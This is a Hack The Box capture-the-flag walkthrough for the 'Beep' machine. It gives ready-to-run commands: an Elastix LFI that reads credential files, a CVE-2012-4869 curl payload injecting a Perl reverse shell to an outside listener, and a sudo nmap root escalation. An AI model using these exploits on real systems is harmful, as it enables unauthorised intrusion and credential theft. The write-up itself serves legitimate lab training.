Beep Walkthrough

Machine: Beep#

Date: 19-03-2026 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP

Results:

Port 22 → SSH (OpenSSH 4.3)
Port 25 → SMTP
Port 80 → HTTP (Apache 2.2.3, CentOS) — redirects to HTTPS
Port 110 → POP3
Port 111 → RPCbind
Port 143 → IMAP
Port 443 → HTTPS (Apache 2.2.3, CentOS)
Port 993 → IMAPS
Port 995 → POP3S
Port 3306 → MySQL
Port 4445 → Unknown
Port 10000 → Webmin 1.570 (MiniServ)

Notes:

Mail ports (25/110/143/993/995) + web admin → Elastix VoIP PBX
Webmin 1.570 on port 10000 — old version, potentially vulnerable
OpenSSH 4.3 — very old
Server only supports SSLv3 and TLSv1.0 — modern OpenSSL rejects connection by default

📂 Enumeration#

Identifying Elastix version via LFI:#

searchsploit elastix
searchsploit -x php/webapps/37637.pl

→ LFI via graph.php — reads arbitrary files without authentication

curl -sk "https://$MACHINE_IP/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action"

Credentials found in /etc/amportal.conf:

AMPDBPASS=jEhdIekWmdjE
AMPMGRPASS=jEhdIekWmdjE
ARI_ADMIN_USERNAME=admin
ARI_ADMIN_PASSWORD=jEhdIekWmdjE
Credentials work on Elastix web panel (https://$MACHINE_IP/)
SSH and Webmin login failed with same password

Extension enumeration via Elastix panel:#

Navigated to PBX → Extensions
Found extension: 233 (Fanis Papafanopoulos)

💥 Exploitation#

CVE-2012-4869 — FreePBX/Elastix pre-auth RCE via callme_page.php:#

searchsploit -m php/webapps/18650.py

Script has hardcoded values — edited directly:

rhost="10.129.229.183"
lhost="10.10.14.252"
lport=4445
extension="233"

Script uses Python 2 + old SSL — used curl instead due to SSL legacy issues
Required fix: add legacy TLS support to /etc/ssl/openssl.cnf:

ssl_conf = ssl_sect

[ssl_sect]
system_default = system_default_sect

[system_default_sect]
MinProtocol = None
CipherString = DEFAULT@SECLEVEL=0

# Listener
nc -lvp 4445

# Exploit via curl with TLS 1.0 forced
curl -k --ciphers "AES128-SHA" --tls-max 1.0 -1 "https://$MACHINE_IP/recordings/misc/callme_page.php?action=c&callmenum=233@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%2210.10.14.252%3a4445%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A"

Shell received as asterisk
Upgraded shell:

python -c "import pty; pty.spawn('/bin/bash')"

Result: Shell as asterisk

⚡ Privilege Escalation#

Enumeration:

sudo -l

→ asterisk can run /usr/bin/nmap as root (NOPASSWD) → Also: shutdown, yum, touch, chmod, chown, service, init…

nmap interactive mode — GTFOBins:

sudo nmap --interactive
nmap> !sh
whoami  # root

Successful escalation: root ✅

🎯 Loot / Flags#

user.txt: ``[FLAG REDACTED]→/home/fanis/user.txt`
root.txt: ``[FLAG REDACTED]→/root/root.txt`

📝 Lessons Learned#

Always run searchsploit <appname> immediately after identifying a web application
LFI vulnerabilities can leak config files with plaintext credentials — /etc/amportal.conf is a prime target on Elastix
The same password is often reused across all services in misconfigured systems
Old servers may only support SSLv3/TLS1.0 — modern tools reject this by default, requiring OpenSSL config changes
Always read exploit source code carefully — CVE-2018-7600 had hardcoded values, CVE-2012-4869 documented the privesc path in its own comments
nmap --interactive + !sh = instant root when nmap is sudoable (GTFOBins)
sudo -l is always the first privesc check — multiple binaries were sudoable here
Revert /etc/ssl/openssl.cnf after finishing — leaving MinProtocol = None weakens your own system

#Linux #HTB #Enumeration #Web #Apache #Elastix #FreePBX #LFI #CredentialExtraction #ConfigFiles #PasswordReuse #CVE #CVE-2012-4869 #RCE #ReverseShell #Asterisk #ShellStabilization #PrivilegeEscalation #Sudo #Nmap #GTFOBins #CommandExecution #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.